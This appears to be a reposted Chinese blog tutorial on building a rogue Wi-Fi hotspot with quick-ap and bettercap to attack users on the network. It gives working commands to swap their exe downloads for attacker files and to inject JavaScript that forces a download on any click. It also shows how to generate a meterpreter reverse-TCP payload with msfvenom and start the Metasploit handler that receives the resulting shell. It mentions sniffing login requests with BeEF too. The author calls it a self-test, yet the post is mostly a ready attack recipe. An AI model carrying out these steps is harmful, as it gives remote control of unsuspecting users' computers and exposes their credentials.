• 搭建免费热点, 诱导局域网内用户下载任意可执行文件(测试)


      环境需求

      1:kali系统 , 2.0版本
    
      2:quick-ap
    
      3:bettercap
    
      4:bettercap-proxy-modules
    
      5:博客园账号(把zip文件传到博客园的文件服务器)

      主要环境搭建

      目的:替换局域网用户的下载文件,变为我们自己定义的下载文件, 这个文件可以为一个恶意的exe或者apk

      quick-ap通过github即可下载:https://github.com/sqqihao/quick-ap

      需要bettercap的第三方模块:https://github.com/sqqihao/bettercap-proxy-modules

      在kali系统中插入usb网卡, 默认的网卡为wlan0, 如果网卡名字不一样的话,后面的脚本中所有的wlan0都要改, 不保证kali的新版本可用, 测试环境的kali版本为2.0 

      搭建热点 

      进入quick-ap的目录下, 执行文件,创建热点:

    ./apd.sh

      重新打开一个窗口, 进入bettercap-proxy-modules/http目录下,执行以下命令, 只要用户有下载exe文件或者其他类型的文件, 都会被替换,替换为我们自定义的exe文件, apk或者, rar文件也可以, 思路很多:

    bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X --proxy-module replace_file.rb --file-extension exe --file-replace /root/Desktop/file.exe 

        其他

      bettercap-proxy-modules还可以配合beef使用, 修改页面标题, 修改页面样式,嗅探登陆注册的请求信息

    View Code

       bettercap还能实现页面插入css, 插入js, 插入html等功能, 这些东西可以参考bettercap的官网 https://www.bettercap.org/docs/proxying/http.html

    InjectJS ( --proxy-module injectjs ) : Used to inject javascript code/files inside HTML pages.
    InjectCSS ( --proxy-module injectcss ) : Used to inject CSS code/files inside HTML pages.
    InjectHTML ( --proxy-module injecthtml ) : Used to inject HTML code inside HTML pages.

      开始搞事情,入侵你的电脑

      msf创建payload文件

    msfvenom -p  windows/meterpreter/reverse_tcp LHOST=10.0.0.0.1 LPORT=1111 -f exe > exe.exe

      把生成的exe压缩, 或者用exebind绑定到其它的exe文件上, 再压缩成zip文件, 传到博客园的文件服务器

      打开msf控制台:

    use exploit/multi/handler
    set lhost 10.0.0.1
    set lport 1111set payload windows/meterpreter/reverse_tcp
    exploit

      监听本地端口:

      开始Arp欺骗:bettercap

    bettercap -I wlan0 -G 10.0.0.1 --no-spoofing --no-discovery -X --proxy-module=injecthtml --html-data "<script> document.body.onclick=function(){location.href='http://files.cnblogs.com/files/diligenceday/exe.exe.zip'} </script>"

      给所有Http页面添加html代码, 只要用户点击的body标签, 就下载一个rar文件, 用户只要运行这个文件, msf就会返回一个shell

      JS代码:document.body.onclick=function(){location.href=http://files.cnblogs.com/files/diligenceday/exe.exe.zip'}的意思是当用户点击页面的时候,会自动下载文件

      当用户执行了文件以后, msf控制台就有反应了, 6666

      结尾

      相对于使用arp欺骗,用户浏览网页的时候会非常卡

      但是使用自己创建的热点, 在网关上面执行arp欺骗, 可以在用户毫无察觉的情况下, 给用户添加html代码, 结合beef, 那是相当好玩啊

      本文的靶机为自己电脑, 无恶意

      相关

      youku视频:http://v.youku.com/v_show/id_XMjgwMjc2ODI0OA==.html?spm=a2h3j.8428770.3416059.1

      bettercap:https://www.bettercap.org/

      youtube视频:https://www.youtube.com/watch?v=y9OYrK4j4_4
      quick-ap通过github即可下载:https://github.com/sqqihao/quick-ap

      需要bettercap的第三方模块:https://github.com/sqqihao/bettercap-proxy-modules

    作者: NONO
    出处:http://www.cnblogs.com/diligenceday/
    企业网站:http://www.idrwl.com/
    开源博客:http://www.github.com/sqqihao
    QQ:287101329
    微信:18101055830 

  • 相关阅读:
    书签
    jQueryUI Plugin TableSorter的2个widget扩展
    CSS之关于clearfix--清除浮动
    C#中的is关键字原来会做null检查
    jQuery UI 控件之Slider
    延长Nodejs HTTP 的连接时长
    Nodejs的Promise库
    jQuery的选择器中的通配符
    SharePoint Server 2010 中的基本任务
    ajax浅析---ScriptManagerProxy
  • 原文地址:https://www.cnblogs.com/diligenceday/p/6986852.html
Copyright © 2020-2023  润新知